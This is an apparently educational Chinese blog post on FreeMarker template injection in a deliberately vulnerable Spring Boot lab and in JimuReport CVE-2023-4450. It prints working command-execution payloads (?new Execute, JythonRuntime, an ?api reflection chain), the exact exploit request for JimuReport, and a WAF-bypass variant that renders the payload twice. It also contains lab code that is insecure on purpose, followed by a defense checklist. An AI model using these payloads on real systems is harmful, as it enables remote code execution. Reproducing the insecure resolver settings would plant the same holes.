Skip to content
Kurisu
Go back

FreeMarker 模板注入与积木报表 CVE-2023-4450

上一篇通用 SSTI讲 Python/Jinja2,这篇讲 Java 侧 FreeMarker:视图解析、内存模板”遮蔽”、积木报表 CVE-2023-4450;靶场 Spring Boot 2.7.18 + FreeMarker 2.3.32。

0x01 前置:Controller return 的不是内容,是”视图名”

Java SSTI 的第一道坎,看两种写法:

@RestController   // 返回值直接写进响应体
public class SafeController {
    @PostMapping("/hello")
    public String hello() { return "hello"; }   // 页面显示字符串 "hello"
}

@Controller       // 返回值被当作"逻辑视图名"
public class VulnController {
    @PostMapping("/hello")
    public String hello() { return "hello"; }   // 触发模板渲染!
}

@Controller 下 return "hello" 交给 FreeMarkerViewResolver:prefix + 视图名 + suffix = "" + "hello" + ".ftl",再交 Configuration.getTemplate("hello.ftl") 找磁盘模板渲染。链路:

DispatcherServlet → Controller 返回 "hello"
  → ViewResolver 链 → FreeMarkerViewResolver 命中
  → 拼出 "hello.ftl" → 引擎按 TemplateLoader 加载链查找模板
  → Template.process() 渲染 → HTML 写回

本质在最后一环:引擎按”加载链”找模板,加载链顺序可编程。

0x02 靶场设计:注入点与触发点分离

靶场故意留两个接口:

@PostMapping("/template")
public String template(@RequestBody Map<String, String> templates) throws IOException {
    Configuration con = freeMarkerConfig.getConfiguration();

    StringTemplateLoader stringLoader = new StringTemplateLoader();
    for (String key : templates.keySet()) {
        stringLoader.putTemplate(key, templates.get(key));  // 名字+内容全由用户控制
    }
    con.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{
            stringLoader,            // index 0: 内存(攻击者)—— 优先命中
            con.getTemplateLoader()  // index 1: 磁盘(正常)  —— 轮不到
    }));
    con.clearTemplateCache();        // 清缓存,让下次查找重新走加载链
    return "index";
}

”覆盖”其实是”遮蔽”(Shadowing)

磁盘 hello.ftl 一个字没改:MultiTemplateLoader 按数组顺序问子加载器,内存那份在 index 0 先命中,磁盘同名那份轮不到。

状态POST /hello 渲染结果
未攻击磁盘 hello.ftl → 正常 Hello, Alice !
已注册同名内存模板内存恶意模板 → 命令执行

两个验证:攻击后 src/main/resources/templates/hello.ftl 原封不动;重启应用,内存加载器随 JVM 消失,/hello 恢复正常——无持久痕迹。

0x03 新版 FreeMarker 为什么打不响:?new 与 ClassResolver

经典 payload:

{"hello.ftl": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"whoami\")}"}

打 2.3.32 会失败:2.3.23+ 用 TemplateClassResolver 限制 ?new 能实例化哪些类:

策略行为
UNRESTRICTED_RESOLVER任何类都能 ?new(不设防)
SAFER_RESOLVER2.3.23+ 默认,禁止 Execute / ObjectConstructor / JythonRuntime
ALLOWS_NOTHING_RESOLVER几乎全禁

老 POC 写于限制之前,一发即中;新版默认 SAFER_RESOLVER 直接拒绝。靶场为演示把开关拨回(反面教材):

configurer.getConfiguration()
          .setNewBuiltinClassResolver(TemplateClassResolver.UNRESTRICTED_RESOLVER);
// 同时开了 ?api:configurer.getConfiguration().setAPIBuiltinEnabled(true);

真实环境两个开关默认都关,这就是防御答案(见 0x06)。

0x04 三条利用面

① ?new 实例化危险类(最省事)

{"hello.ftl": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"whoami\")}"}

?new 会 Class.forName(…, true, …) 触发类初始化、检测 TemplateModel、无参构造实例;绑给 ex 后 ${ex("cmd")} 即 Execute.exec() → Runtime.getRuntime().exec(),输出插值进页面,自带回显。

freemarker.template.utility 包下同族还有 ObjectConstructor(任意类构造器)、JythonRuntime(引 jython-standalone 即可跑 Python)。

② Jython 跑内嵌 Python

靶场 pom 引入 org.python:jython-standalone:

{"hello.ftl": "<#assign jr=\"freemarker.template.utility.JythonRuntime\"?new()><@jr>import os; os.system(\"whoami\")</@jr>"}

JythonRuntime 是 TemplateModel,<@jr> 宏把标签体当 Python 源码执行。

③ ?api 反射链(进阶,排错最多)

?api 能拿到 Java 对象的 Class,绕开模板层的反射限制。前提:setAPIBuiltinEnabled(true)(2.3.22+ 默认 false)、Model 有 Bean 起点——靶场 /hello 把 req(RequestFacade)塞进了 Model。探针:

{"hello.ftl": "req?api.class: ${req?api.class.name!\"失败\"}"}

打出 org.apache.catalina.connector.RequestFacade 即通。完整链走 classLoader,不在 Class 实例上直接调静态方法,兼容性好:

{"hello.ftl": "<#assign cl=req?api.class><#assign loader=cl.getClassLoader()><#assign rt=loader.loadClass(\"java.lang.Runtime\")><#assign m=rt.getMethod(\"getRuntime\")><#assign r=m.invoke(null)><#assign p=r.exec(\"whoami\")><#assign is=p.getInputStream()><#assign buf=\"\"><#assign b=is.read()><#while b!=-1><#assign buf=buf+b?c><#assign b=is.read()></#while>${buf}"}

排错三点:

0x05 落到真实 CVE:积木报表 JimuReport CVE-2023-4450

靶场 payload 在这个 CVE 里一字不差,只是入口不同。

为什么一个”查库接口”会跑 FreeMarker

关键一句:积木报表的”动态 SQL”本就是 FreeMarker 模板——${dept}、<#if> 都是 FTL 语法,查库前会先把这段文本渲染成真 SQL:

设计者写"SQL"(实际是 FTL 模板文本)
  → FreeMarker 渲染:替换 ${dept} / 处理 <#if>  → 得到真 SQL
  → JDBC 用真 SQL 查库

POST /jmreport/queryFieldBySql(设计器”返回字段列表”接口,常未授权可达)复用同一条管线——sql 字段即模板源码。

Payload

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Content-Type: application/json

{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"id\")}'"}

外层 select 'result:…' 是 SQL 外壳:渲染产物当一行查询结果返回,自带回显,所以常被误认为 SQL 注入——但按 SQLi 特征的黑名单拦不全,你传的是 FreeMarker 语法。官方定性 SSTI,CVSS 9.8,修复版本 jimureport-spring-boot-starter ≥ 1.6.1(2023-08-15)。

paramArray 二次渲染绕 WAF

sql 被正则盯上时有备用通道:SQL 只写 ${x} 占位,恶意 FTL 放进 paramArray 参数值——渲染时参数值被插值进模板,又触发一次渲染:

{"sql":"select '${x}'","type":"0",
 "paramArray":"[{\"paramName\":\"x\",\"paramValue\":\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>${ex(\\\"id\\\")}\"}]"}

识别要点:这段输入到达”目的地”前,会不会先经过模板引擎? 会就按 SSTI 测。同族接口(loadTableData、dictCodeSearch)另有 SQL 注入面——两类洞要叠着修。

JDK 17+ 的坑

命令执行在 JDK 17 仍可行,内存马/字节码注入会失败:反射 ClassLoader.defineClass 触发 InaccessibleObjectException。公开研究改用 ObjectConstructor 实例化 Spring 的 SpelExpressionParser 走 SpEL 链。

0x06 防御清单

  1. 治本:用户可控文本不许注册成模板(StringTemplateLoader + 用户内容 = 事故)或过模板引擎;视图名用固定枚举;
  2. 治标:newBuiltinClassResolver 保持 SAFER_RESOLVER 或收紧到 ALLOWS_NOTHING_RESOLVER;api_builtin_enabled 保持默认 false;
  3. 组件:JimuReport ≥ 1.6.1,接口加鉴权不暴露公网;
  4. 写文档的坑:.ftl 里展示 FTL 示例要用 <#noparse>…</#noparse> 包住,否则页面 500 ParseException。

参考


Share this post:

Previous Post
MSF 与 Cobalt Strike:框架结构与团队服务部署
Next Post
SQL 注入没死:pgx 协议层走私查询